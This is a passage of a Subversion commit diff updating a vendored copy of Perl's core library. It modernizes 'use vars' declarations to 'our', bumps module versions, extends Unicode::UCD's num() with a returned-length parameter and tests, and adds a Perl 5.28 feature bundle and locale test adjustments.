     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
 }
-use vars      @EXPORT_OK;
 
 # Class::Struct forbids use of @ISA
 sub import { goto &Exporter::import }

Modified: vendor/perl/dist/lib/Tie/Array.pm
===================================================================
--- vendor/perl/dist/lib/Tie/Array.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Tie/Array.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use 5.006_001;
 use strict;
 use Carp;
-our $VERSION = '1.06';
+our $VERSION = '1.07';
 
 # Pod documentation after __END__ below.
 
@@ -83,8 +83,7 @@
 }
 
 package Tie::StdArray;
-use vars qw(@ISA);
- at ISA = 'Tie::Array';
+our @ISA = 'Tie::Array';
 
 sub TIEARRAY  { bless [], $_[0] }
 sub FETCHSIZE { scalar @{$_[0]} }

Modified: vendor/perl/dist/lib/Tie/Scalar.t
===================================================================
--- vendor/perl/dist/lib/Tie/Scalar.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Tie/Scalar.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,14 +9,13 @@
 package TieTest;
 
 use Tie::Scalar;
-use vars qw( @ISA );
- at ISA = qw( Tie::Scalar );
+our @ISA = qw( Tie::Scalar );
 
 sub new { 'Fooled you.' }
 
 package main;
 
-use vars qw( $flag );
+our $flag;
 use Test::More tests => 16;
 
 use_ok( 'Tie::Scalar' );

Modified: vendor/perl/dist/lib/Tie/StdHandle.pm
===================================================================
--- vendor/perl/dist/lib/Tie/StdHandle.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Tie/StdHandle.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,9 +3,8 @@
 use strict;
 
 use Tie::Handle;
-use vars qw(@ISA $VERSION);
- at ISA = 'Tie::Handle';
-$VERSION = '4.4';
+our @ISA = 'Tie::Handle';
+our $VERSION = '4.5';
 
 =head1 NAME
 

Modified: vendor/perl/dist/lib/Time/gmtime.pm
===================================================================
--- vendor/perl/dist/lib/Time/gmtime.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Time/gmtime.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,12 @@
 
 use Time::tm;
 
-our(@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION);
+our (@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION);
+our (   $tm_sec, $tm_min, $tm_hour, $tm_mday,
+        $tm_mon, $tm_year, $tm_wday, $tm_yday, 
+		$tm_isdst,
+);
+ 
 BEGIN { 
     use Exporter   ();
     @ISA         = qw(Exporter Time::tm);
@@ -15,9 +20,8 @@
 			$tm_isdst
 		    );
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
-    $VERSION     = 1.03;
+    $VERSION     = 1.04;
 }
-use vars      @EXPORT_OK;
 
 sub populate (@) {
     return unless @_;

Modified: vendor/perl/dist/lib/Time/localtime.pm
===================================================================
--- vendor/perl/dist/lib/Time/localtime.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Time/localtime.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,13 @@
 
 use Time::tm;
 
-our(@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION);
+our (@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION);
+our (  
+      $tm_sec, $tm_min, $tm_hour, $tm_mday,
+      $tm_mon, $tm_year, $tm_wday, $tm_yday,
+      $tm_isdst
+);
+ 
 BEGIN {
     use Exporter   ();
     @ISA         = qw(Exporter Time::tm);
@@ -15,9 +21,8 @@
 			$tm_isdst
 		    );
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
-    $VERSION     = 1.02;
+    $VERSION     = 1.03;
 }
-use vars      @EXPORT_OK;
 
 sub populate (@) {
     return unless @_;

Modified: vendor/perl/dist/lib/Unicode/UCD.pm
===================================================================
--- vendor/perl/dist/lib/Unicode/UCD.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Unicode/UCD.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 no warnings 'surrogate';    # surrogates can be inputs to this
 use charnames ();
 
-our $VERSION = '0.68';
+our $VERSION = '0.70';
 
 require Exporter;
 
@@ -140,28 +140,18 @@
 
 =cut
 
-my $BLOCKSFH;
-my $VERSIONFH;
-my $CASEFOLDFH;
-my $CASESPECFH;
-my $NAMEDSEQFH;
 my $v_unicode_version;  # v-string.
 
 sub openunicode {
-    my ($rfh, @path) = @_;
-    my $f;
-    unless (defined $$rfh) {
-	for my $d (@INC) {
-	    use File::Spec;
-	    $f = File::Spec->catfile($d, "unicore", @path);
-	    last if open($$rfh, '<', $f);
-	    undef $f;
-	}
-	croak __PACKAGE__, ": failed to find ",
-              File::Spec->catfile(@path), " in @INC"
-	    unless defined $f;
+    my (@path) = @_;
+    my $rfh;
+    for my $d (@INC) {
+        use File::Spec;
+        my $f = File::Spec->catfile($d, "unicore", @path);
+        return $rfh if open($rfh, '<', $f);
     }
-    return $f;
+    croak __PACKAGE__, ": failed to find ",
+        File::Spec->catfile("unicore", @path), " in @INC";
 }
 
 sub _dclone ($) {   # Use Storable::dclone if available; otherwise emulate it.
@@ -699,14 +689,14 @@
 
 =cut
 
-sub charprop ($$) {
-    my ($input_cp, $prop) = @_;
+sub charprop ($$;$) {
+    my ($input_cp, $prop, $internal_ok) = @_;
 
     my $cp = _getcode($input_cp);
     croak __PACKAGE__, "::charprop: unknown code point '$input_cp'" unless defined $cp;
 
     my ($list_ref, $map_ref, $format, $default)
-                                      = prop_invmap($prop);
+                                      = prop_invmap($prop, $internal_ok);
     return undef unless defined $list_ref;
 
     my $i = search_invlist($list_ref, $cp);
@@ -880,10 +870,11 @@
             push @BLOCKS, $subrange;
             push @{$BLOCKS{'No_Block'}}, $subrange;
         }
-        elsif (openunicode(\$BLOCKSFH, "Blocks.txt")) {
+        else {
+            my $blocksfh = openunicode("Blocks.txt");
 	    local $_;
 	    local $/ = "\n";
-	    while (<$BLOCKSFH>) {
+	    while (<$blocksfh>) {
 
                 # Old versions used a different syntax to mark the range.
                 $_ =~ s/;\s+/../ if $v_unicode_version lt v3.1.0;
@@ -895,7 +886,6 @@
 		    push @{$BLOCKS{$3}}, $subrange;
 		}
 	    }
-	    close($BLOCKSFH);
             if (! IS_ASCII_PLATFORM) {
                 # The first two blocks, through 0xFF, are wrong on EBCDIC
                 # platforms.
@@ -1648,13 +1638,11 @@
 sub _casespec {
     unless (%CASESPEC) {
         UnicodeVersion() unless defined $v_unicode_version;
-        if ($v_unicode_version lt v2.1.8) {
-            %CASESPEC = {};
-        }
-	elsif (openunicode(\$CASESPECFH, "SpecialCasing.txt")) {
+        if ($v_unicode_version ge v2.1.8) {
+            my $casespecfh = openunicode("SpecialCasing.txt");
 	    local $_;
 	    local $/ = "\n";
-	    while (<$CASESPECFH>) {
+	    while (<$casespecfh>) {
 		if (/^([0-9A-F]+); ([0-9A-F]+(?: [0-9A-F]+)*)?; ([0-9A-F]+(?: [0-9A-F]+)*)?; ([0-9A-F]+(?: [0-9A-F]+)*)?; (\w+(?: \w+)*)?/) {
 
 		    my ($hexcode, $lower, $title, $upper, $condition) =
@@ -1719,7 +1707,6 @@
 		    }
 		}
 	    }
-	    close($CASESPECFH);
 	}
     }
 }
@@ -1769,19 +1756,17 @@
 
 sub _namedseq {
     unless (%NAMEDSEQ) {
-	if (openunicode(\$NAMEDSEQFH, "Name.pl")) {
-	    local $_;
-	    local $/ = "\n";
-	    while (<$NAMEDSEQFH>) {
-		if (/^ [0-9A-F]+ \  /x) {
-                    chomp;
-                    my ($sequence, $name) = split /\t/;
-		    my @s = map { chr(hex($_)) } split(' ', $sequence);
-		    $NAMEDSEQ{$name} = join("", @s);
-		}
-	    }
-	    close($NAMEDSEQFH);
-	}
+        my $namedseqfh = openunicode("Name.pl");
+        local $_;
+        local $/ = "\n";
+        while (<$namedseqfh>) {
+            if (/^ [0-9A-F]+ \  /x) {
+                chomp;
+                my ($sequence, $name) = split /\t/;
+                my @s = map { chr(hex($_)) } split(' ', $sequence);
+                $NAMEDSEQ{$name} = join("", @s);
+            }
+        }
     }
 }
 
@@ -1865,14 +1850,18 @@
 
     my $val = num("123");
     my $one_quarter = num("\N{VULGAR FRACTION 1/4}");
+    my $val = num("12a", \$valid_length);  # $valid_length contains 2
 
 C<num()> returns the numeric value of the input Unicode string; or C<undef> if it
 doesn't think the entire string has a completely valid, safe numeric value.
+If called with an optional second parameter, a reference to a scalar, C<num()>
+will set the scalar to the length of any valid initial substring; or to 0 if none.
 
 If the string is just one character in length, the Unicode numeric value
-is returned if it has one, or C<undef> otherwise.  Note that this need
-not be a whole number.  C<num("\N{TIBETAN DIGIT HALF ZERO}")>, for
-example returns -0.5.
+is returned if it has one, or C<undef> otherwise.  If the optional scalar ref
+is passed, it would be set to 1 if the return is valid; or 0 if the return is
+C<undef>.  Note that the numeric value returned need not be a whole number.
+C<num("\N{TIBETAN DIGIT HALF ZERO}")>, for example returns -0.5.
 
 =cut
 
@@ -1894,7 +1883,9 @@
 the same form.  A half-width digit mixed with a full-width one will
 return C<undef>.  The Arabic script has two sets of digits;  C<num> will
 return C<undef> unless all the digits in the string come from the same
-set.
+set.  In all cases, the optional scalar ref parameter is set to how
+long any valid initial substring of digits is; hence it will be set to the
+entire string length if the main return value is not C<undef>.
 
 C<num> errs on the side of safety, and there may be valid strings of
 decimal digits that it doesn't recognize.  Note that Unicode defines
@@ -1918,17 +1909,31 @@
 # consider those, and return the <decomposition> type in the second
 # array element.
 
-sub num {
-    my $string = $_[0];
+sub num ($;$) {
+    my ($string, $retlen_ref) = @_;
 
+    use feature 'unicode_strings';
+
     _numeric unless %NUMERIC;
+    $$retlen_ref = 0 if $retlen_ref;    # Assume will fail
 
-    my $length = length($string);
-    return $NUMERIC{ord($string)} if $length == 1;
-    return if $string =~ /\D/;
+    my $length = length $string;
+    return if $length == 0;
+
     my $first_ord = ord(substr($string, 0, 1));
+    return if ! exists  $NUMERIC{$first_ord}
+           || ! defined $NUMERIC{$first_ord};
+
+    # Here, we know the first character is numeric
     my $value = $NUMERIC{$first_ord};
+    $$retlen_ref = 1 if $retlen_ref;    # Assume only this one is numeric
 
+    return $value if $length == 1;
+
+    # Here, the input is longer than a single character.  To be valid, it must
+    # be entirely decimal digits, which means it must start with one.
+    return if $string =~ / ^ \D /x;
+
     # To be a valid decimal number, it should be in a block of 10 consecutive
     # characters, whose values are 0, 1, 2, ... 9.  Therefore this digit's
     # value is its offset in that block from the character that means zero.
@@ -1939,7 +1944,8 @@
     # release, we verify that this first character is a member of such a
     # block.  That is, that the block of characters surrounding this one
     # consists of all \d characters whose numeric values are the expected
-    # ones.
+    # ones.  If not, then this single character is numeric, but the string as
+    # a whole is not considered to be.
     UnicodeVersion() unless defined $v_unicode_version;
     if ($v_unicode_version lt v6.0.0) {
         for my $i (0 .. 9) {
@@ -1961,10 +1967,14 @@
         # function.
         my $ord = ord(substr($string, $i, 1));
         my $digit = $ord - $zero_ord;
-        return unless $digit >= 0 && $digit <= 9;
+        if ($digit < 0 || $digit > 9) {
+            $$retlen_ref = $i if $retlen_ref;
+            return;
+        }
         $value = $value * 10 + $digit;
     }
 
+    $$retlen_ref = $length if $retlen_ref;
     return $value;
 }
 
@@ -2444,8 +2454,8 @@
     return ( $list_ref->[0], $list_ref->[0] );
 }
 
-# All 1 bits is the largest possible UV.
-$Unicode::UCD::MAX_CP = ~0;
+# All 1 bits but the top one is the largest possible IV.
+$Unicode::UCD::MAX_CP = (~0) >> 1;
 
 =pod
 
@@ -2537,11 +2547,7 @@
  for (my $i = 0; $i < @invlist; $i += 2) {
     my $upper = ($i + 1) < @invlist
                 ? $invlist[$i+1] - 1      # In range
-                : $Unicode::UCD::MAX_CP;  # To infinity.  You may want
-                                          # to stop much much earlier;
-                                          # going this high may expose
-                                          # perl deficiencies with very
-                                          # large numbers.
+                : $Unicode::UCD::MAX_CP;  # To infinity.
     for my $j ($invlist[$i] .. $upper) {
         push @full_list, $j;
     }
@@ -4100,10 +4106,9 @@
 
 sub UnicodeVersion {
     unless (defined $UNICODEVERSION) {
-	openunicode(\$VERSIONFH, "version");
+	my $versionfh = openunicode("version");
 	local $/ = "\n";
-	chomp($UNICODEVERSION = <$VERSIONFH>);
-	close($VERSIONFH);
+	chomp($UNICODEVERSION = <$versionfh>);
 	croak __PACKAGE__, "::VERSION: strange version '$UNICODEVERSION'"
 	    unless $UNICODEVERSION =~ /^\d+(?:\.\d+)+$/;
     }

Modified: vendor/perl/dist/lib/Unicode/UCD.t
===================================================================
--- vendor/perl/dist/lib/Unicode/UCD.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Unicode/UCD.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,7 @@
 
 use Unicode::UCD qw(charinfo charprop charprops_all);
 
-my $expected_version = '9.0.0';
+my $expected_version = '10.0.0';
 my $current_version = Unicode::UCD::UnicodeVersion;
 my $v_unicode_version = pack "C*", split /\./, $current_version;
 my $unknown_script = ($v_unicode_version lt v5.0.0)
@@ -819,10 +819,19 @@
                     # version; else will get a compilation error when this .t
                     # is run on an older version.
 
+my $ret_len;
 is(num("0"), 0, 'Verify num("0") == 0');
-is(num("98765"), 98765, 'Verify num("98765") == 98765');
-ok(! defined num("98765\N{FULLWIDTH DIGIT FOUR}"),
+is(num("0", \$ret_len), 0, 'Verify num("0", \$ret_len) == 0');
+is($ret_len, 1, "... and the returned length is 1");
+ok(! defined num("", \$ret_len), 'Verify num("", \$ret_len) isnt defined');
+is($ret_len, 0, "... and the returned length is 0");
+ok(! defined num("A", \$ret_len), 'Verify num("A") isnt defined');
+is($ret_len, 0, "... and the returned length is 0");
+is(num("98765", \$ret_len), 98765, 'Verify num("98765") == 98765');
+is($ret_len, 5, "... and the returned length is 5");
+ok(! defined num("98765\N{FULLWIDTH DIGIT FOUR}", \$ret_len),
    'Verify num("98765\N{FULLWIDTH DIGIT FOUR}") isnt defined');
+is($ret_len, 5, "... but the returned length is 5");
 my $tai_lue_2;
 if ($v_unicode_version ge v4.1.0) {
     my $tai_lue_1 = charnames::string_vianame("NEW TAI LUE DIGIT ONE");
@@ -834,8 +843,13 @@
 }
 if ($v_unicode_version ge v5.2.0) {
     ok(! defined num($tai_lue_2
-         . charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE")),
+         . charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE"), \$ret_len),
          'Verify num("\N{NEW TAI LUE DIGIT TWO}\N{NEW TAI LUE THAM DIGIT ONE}") isnt defined');
+    is($ret_len, 1, "... but the returned length is 1");
+    ok(! defined num(charnames::string_vianame("NEW TAI LUE THAM DIGIT ONE")
+                     .  $tai_lue_2, \$ret_len),
+         'Verify num("\N{NEW TAI LUE THAM DIGIT ONE}\N{NEW TAI LUE DIGIT TWO}") isnt defined');
+    is($ret_len, 1, "... but the returned length is 1");
 }
 if ($v_unicode_version ge v5.1.0) {
     my $cham_0 = charnames::string_vianame("CHAM DIGIT ZERO");
@@ -843,8 +857,10 @@
        'Verify num("\N{CHAM DIGIT ZERO}\N{CHAM DIGIT THREE}") == 3');
     if ($v_unicode_version ge v5.2.0) {
         ok(! defined num(  $cham_0
-                         . charnames::string_vianame("JAVANESE DIGIT NINE")),
+                         . charnames::string_vianame("JAVANESE DIGIT NINE"),
+                         \$ret_len),
         'Verify num("\N{CHAM DIGIT ZERO}\N{JAVANESE DIGIT NINE}") isnt defined');
+    is($ret_len, 1, "... but the returned length is 1");
     }
 }
 is(num("\N{SUPERSCRIPT TWO}"), 2, 'Verify num("\N{SUPERSCRIPT TWO} == 2');
@@ -2700,4 +2716,12 @@
     diag(join "\n", "The warnings are:", @warnings);
 }
 
+# And make sure that the max code point returned actually fits in an IV, which
+# currently range iterators are.
+my $count = 0;
+for my $i ($Unicode::UCD::MAX_CP - 1 .. $Unicode::UCD::MAX_CP) {
+    $count++;
+}
+is($count, 2, "MAX_CP isn't too large");
+
 done_testing();

Modified: vendor/perl/dist/lib/User/grent.pm
===================================================================
--- vendor/perl/dist/lib/User/grent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/User/grent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,9 @@
 use strict;
 
 use 5.006_001;
-our $VERSION = '1.01';
+our $VERSION = '1.02';
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our ($gr_name, $gr_gid, $gr_passwd, $gr_mem, @gr_members);
 BEGIN { 
     use Exporter   ();
     @EXPORT      = qw(getgrent getgrgid getgrnam getgr);
@@ -10,7 +11,6 @@
     @EXPORT_OK   = qw($gr_name $gr_gid $gr_passwd $gr_mem @gr_members);
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
 }
-use vars      @EXPORT_OK;
 
 # Class::Struct forbids use of @ISA
 sub import { goto &Exporter::import }

Modified: vendor/perl/dist/lib/User/pwent.pm
===================================================================
--- vendor/perl/dist/lib/User/pwent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/User/pwent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package User::pwent;
 
 use 5.006;
-our $VERSION = '1.00';
+our $VERSION = '1.01';
 
 use strict;
 use warnings;
@@ -10,6 +10,12 @@
 use Carp;
 
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our ( $pw_name,    $pw_passwd,  $pw_uid,  $pw_gid,
+    $pw_gecos,   $pw_dir,     $pw_shell,
+    $pw_expire,  $pw_change,  $pw_class,
+    $pw_age,
+    $pw_quota,   $pw_comment,
+    );
 BEGIN {
     use Exporter   ();
     @EXPORT      = qw(getpwent getpwuid getpwnam getpw);
@@ -21,8 +27,6 @@
                         $pw_expire  $pw_change  $pw_class
                         $pw_age
                         $pw_quota   $pw_comment
-                        $pw_expire
-
                    );
     %EXPORT_TAGS = (
         FIELDS => [ grep(/^\$pw_/, @EXPORT_OK), @EXPORT ],
@@ -29,7 +33,6 @@
         ALL    => [ @EXPORT, @EXPORT_OK ],
     );
 }
-use vars grep /^\$pw_/, @EXPORT_OK;
 
 #
 # XXX: these mean somebody hacked this module's source

Modified: vendor/perl/dist/lib/_charnames.pm
===================================================================
--- vendor/perl/dist/lib/_charnames.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/_charnames.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 package _charnames;
 use strict;
 use warnings;
-our $VERSION = '1.44';
+our $VERSION = '1.45';
 use unicore::Name;    # mktables-generated algorithmically-defined names
 
 use bytes ();          # for $bytes::hint_bits
@@ -22,8 +22,8 @@
 # The official names with their code points are stored in a table in
 # lib/unicore/Name.pl which is read in as a large string (almost 3/4 Mb in
 # Unicode 6.0).  Each code point/name combination is separated by a \n in the
-# string.  (Some of the CJK and the Hangul syllable names are determined
-# instead algorithmically via subroutines stored instead in
+# string.  (Some of the CJK and the Hangul syllable names are instead
+# determined algorithmically via subroutines stored instead in
 # lib/unicore/Name.pm).  Because of the large size of this table, it isn't
 # converted into hashes for faster lookup.
 #

Modified: vendor/perl/dist/lib/blib.pm
===================================================================
--- vendor/perl/dist/lib/blib.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/blib.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -39,9 +39,8 @@
 use Cwd;
 use File::Spec;
 
-use vars qw($VERSION $Verbose);
-$VERSION = '1.06';
-$Verbose = 0;
+our $VERSION = '1.07';
+our $Verbose = 0;
 
 sub import
 {

Modified: vendor/perl/dist/lib/bytes.pm
===================================================================
--- vendor/perl/dist/lib/bytes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/bytes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package bytes;
 
-our $VERSION = '1.05';
+our $VERSION = '1.06';
 
 $bytes::hint_bits = 0x00000008;
 
@@ -82,8 +82,6 @@
 Or, if performance is needed and you are only interested in the UTF-8
 representation:
 
-    use utf8;
-
     utf8::encode(my $utf8_byte_string = $string);
 
 C<no bytes> can be used to reverse the effect of C<use bytes> within the

Modified: vendor/perl/dist/lib/charnames.pm
===================================================================
--- vendor/perl/dist/lib/charnames.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/charnames.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package charnames;
 use strict;
 use warnings;
-our $VERSION = '1.44';
+our $VERSION = '1.45';
 use unicore::Name;    # mktables-generated algorithmically-defined names
 use _charnames ();    # The submodule for this where most of the work gets done
 
@@ -278,11 +278,9 @@
 
 Aliases must begin with a character that is alphabetic.  After that, each may
 contain any combination of word (C<\w>) characters, SPACE (U+0020),
-HYPHEN-MINUS (U+002D), LEFT PARENTHESIS (U+0028), RIGHT PARENTHESIS (U+0029),
-and NO-BREAK SPACE (U+00A0).  These last three should never have been allowed
-in names, and are retained for backwards compatibility only; NO-BREAK SPACE IS
-currently deprecated and scheduled for removal in Perl v5.26; the other two
-may also be
+HYPHEN-MINUS (U+002D), LEFT PARENTHESIS (U+0028), and RIGHT PARENTHESIS
+(U+0029).  These last two should never have been allowed
+in names, and are retained for backwards compatibility only, and may be
 deprecated and removed in future releases of Perl, so don't use them for new
 names.  (More precisely, the first character of a name you specify must be
 something that matches all of C<\p{ID_Start}>, C<\p{Alphabetic}>, and

Modified: vendor/perl/dist/lib/feature.pm
===================================================================
--- vendor/perl/dist/lib/feature.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/feature.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 package feature;
 
-our $VERSION = '1.47';
+our $VERSION = '1.52';
 
 our %feature = (
     fc              => 'feature_fc',
@@ -29,6 +29,7 @@
     "5.11"    => [qw(array_base say state switch unicode_strings)],
     "5.15"    => [qw(current_sub evalbytes fc say state switch unicode_eval unicode_strings)],
     "5.23"    => [qw(current_sub evalbytes fc postderef_qq say state switch unicode_eval unicode_strings)],
+    "5.27"    => [qw(bitwise current_sub evalbytes fc postderef_qq say state switch unicode_eval unicode_strings)],
     "all"     => [qw(array_base bitwise current_sub declared_refs evalbytes fc postderef_qq refaliasing say signatures state switch unicode_eval unicode_strings)],
     "default" => [qw(array_base)],
 );
@@ -46,6 +47,7 @@
 $feature_bundle{"5.24"} = $feature_bundle{"5.23"};
 $feature_bundle{"5.25"} = $feature_bundle{"5.23"};
 $feature_bundle{"5.26"} = $feature_bundle{"5.23"};
+$feature_bundle{"5.28"} = $feature_bundle{"5.27"};
 $feature_bundle{"5.9.5"} = $feature_bundle{"5.10"};
 my %noops = (
     postderef => 1,
@@ -54,7 +56,7 @@
 
 our $hint_shift   = 26;
 our $hint_mask    = 0x1c000000;
-our @hint_bundles = qw( default 5.10 5.11 5.15 5.23 );
+our @hint_bundles = qw( default 5.10 5.11 5.15 5.23 5.27 );
 
 # This gets set (for now) in $^H as well as in %^H,
 # for runtime speed of the uc/lc/ucfirst/lcfirst functions.
@@ -175,8 +177,9 @@
 
 This feature is available starting with Perl 5.12; was almost fully
 implemented in Perl 5.14; and extended in Perl 5.16 to cover C<quotemeta>;
-and extended further in Perl 5.26 to cover L<the range
-operator|perlop/Range Operators>.
+was extended further in Perl 5.26 to cover L<the range
+operator|perlop/Range Operators>; and was extended again in Perl 5.28 to
+cover L<special-cased whitespace splitting|perlfunc/split>.
 
 =head2 The 'unicode_eval' and 'evalbytes' features
 
@@ -313,13 +316,6 @@
 
 =head2 The 'bitwise' feature
 
-B<WARNING>: This feature is still experimental and the implementation may
-change in future versions of Perl.  For this reason, Perl will
-warn when you use the feature, unless you have explicitly disabled the
-warning:
-
-    no warnings "experimental::bitwise";
-
 This makes the four standard bitwise operators (C<& | ^ ~>) treat their
 operands consistently as numbers, and introduces four new dotted operators
 (C<&. |. ^. ~.>) that treat their operands consistently as strings.  The
@@ -327,7 +323,10 @@
 
 See L<perlop/Bitwise String Operators> for details.
 
-This feature is available from Perl 5.22 onwards.
+This feature is available from Perl 5.22 onwards.  Starting in Perl 5.28,
+C<use v5.28> will enable the feature.  Before 5.28, it was still
+experimental and would emit a warning in the "experimental::bitwise"
+category.
 
 =head2 The 'declared_refs' feature
 
@@ -385,6 +384,10 @@
             unicode_eval evalbytes current_sub fc
             postderef_qq
 
+  :5.28     say state switch unicode_strings
+            unicode_eval evalbytes current_sub fc
+            postderef_qq bitwise
+
 The C<:default> bundle represents the feature set that is enabled before
 any C<use feature> or C<no feature> declaration.
 
@@ -434,6 +437,9 @@
 If the required version is older than Perl 5.10, the ":default" feature
 bundle is automatically loaded instead.
 
+Unlike C<use feature ":5.12">, saying C<use v5.12> (or any higher version)
+also does the equivalent of C<use strict>; see L<perlfunc/use> for details.
+
 =back
 
 =cut

Modified: vendor/perl/dist/lib/locale.t
===================================================================
--- vendor/perl/dist/lib/locale.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/locale.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,9 +5,31 @@
 # without using 'eval' as much as possible, which might cloud the issue,  the
 # crucial parts of the code are duplicated in a block for each pragma.
 
+# Unfortunately, many systems have defective locale definitions.  This test
+# file looks for both perl bugs and bugs in the system's locale definitions.
+# It can be difficult to tease apart which is which.  For the latter, there
+# are tests that are based on the POSIX standard.  A character isn't supposed
+# to be both a space and graphic, for example.  Another example is if a
+# character is the uppercase of another, that other should be the lowercase of
+# the first.  Including tests for these allows you to test for defective
+# locales, as described in perllocale.  The way this file distinguishes
+# between defective locales, and perl bugs is to see what percentage of
+# locales fail a given test.  If it's a lot, then it's more likely to be a
+# perl bug; only a few, those particular locales are likely defective.  In
+# that case the failing tests are marked TODO.  (They should be reported to
+# the vendor, however; but it's not perl's problem.)  In some cases, this
+# script has caused tickets to be filed against perl which turn out to be the
+# platform's bug, but a higher percentage of locales are failing than the
+# built-in cut-off point.  For those platforms, code has been added to
+# increase the cut-off, so those platforms don't trigger failing test reports.
+# Ideally, the platforms would get fixed and that code would be changed to
+# only kick-in when run on versions that are earlier than the fixed one.  But,
+# this rarely happens in practice.
+
 # To make a TODO test, add the string 'TODO' to its %test_names value
 
 my $is_ebcdic = ord("A") == 193;
+my $os = lc $^O;
 
 no warnings 'locale';  # We test even weird locales; and do some scary things
                        # in ok locales
@@ -29,7 +51,7 @@
 }
 
 use strict;
-use feature 'fc', 'postderef';
+use feature 'fc';
 
 # =1 adds debugging output; =2 increases the verbosity somewhat
 our $debug = $ENV{PERL_DEBUG_FULL_TEST} // 0;
@@ -40,9 +62,9 @@
 # (There aren't 1000 locales currently in existence, so 99.9 works)
 # EBCDIC os390 has more locales fail than normal, because it has locales that
 # move various critical characters like '['.
-my $acceptable_failure_percentage = ($^O =~ / ^ ( AIX ) $ /ix)
+my $acceptable_failure_percentage = ($os =~ / ^ ( aix ) $ /x)
                                      ? 99.9
-                                     : ($^O =~ / ^ ( os390 ) $ /ix)
+                                     : ($os =~ / ^ ( os390 ) $ /x)
                                        ? 10
                                        : 5;
 
@@ -55,11 +77,17 @@
                           irix => qr/ ^ (?: cs | hu | sk ) $/x,
                           darwin => qr/ ^ lt_LT.ISO8859 /ix,
                           os390 => qr/ ^ italian /ix,
+                          netbsd => qr/\bISO8859-2\b/i,
+
+                          # This may be the same bug as the cygwin below; it's
+                          # generating malformed UTF-8 on the radix being
+                          # mulit-byte
+                          solaris => qr/ ^ ( ar_ | pa_ ) /x,
                         );
 
 # cygwin isn't returning proper radix length in this locale, but supposedly to
 # be fixed in later versions.
-if ($^O eq 'cygwin' && version->new(($Config{osvers} =~ /^(\d+(?:\.\d+)+)/)[0]) le v2.4.1) {
+if ($os eq 'cygwin' && version->new(($Config{osvers} =~ /^(\d+(?:\.\d+)+)/)[0]) le v2.4.1) {
     $known_bad_locales{'cygwin'} = qr/ ^ ps_AF /ix;
 }
 
@@ -755,7 +783,9 @@
 require POSIX; import POSIX ':locale_h';
 
 my $categories = [ 'LC_CTYPE', 'LC_NUMERIC', 'LC_ALL' ];
+debug "Scanning for just compatible";
 my @Locale = find_locales($categories);
+debug "Scanning for even incompatible";
 my @include_incompatible_locales = find_locales($categories,
                                                 'even incompatible locales');
 
@@ -783,6 +813,7 @@
             push @warnings, ($warning =~ s/\n/\n# /sgr);
         };
 
+        debug "Trying incompatible $bad_locale";
         my $ret = setlocale(&POSIX::LC_CTYPE, $bad_locale);
 
         my $message = "testing of locale '$bad_locale' is skipped";
@@ -968,8 +999,8 @@
     else {
         $message //= "";
         $message = "  ($message)" if $message;
-	$Known_bad_locale{$i}{$Locale} = 1 if exists $known_bad_locales{$^O}
-                                         && $Locale =~ $known_bad_locales{$^O};
+	$Known_bad_locale{$i}{$Locale} = 1 if exists $known_bad_locales{$os}
+                                         && $Locale =~ $known_bad_locales{$os};
 	$Problem{$i}{$Locale} = 1;
 	debug "failed $i ($test_names{$i}) with locale '$Locale'$message\n";
     }
@@ -2211,6 +2242,7 @@
 
     report_result($Locale, ++$locales_test_number, $ok15);
     $test_names{$locales_test_number} = 'Verify that a number with a UTF-8 radix has a UTF-8 stringification';
+    $problematical_tests{$locales_test_number} = 1;
 
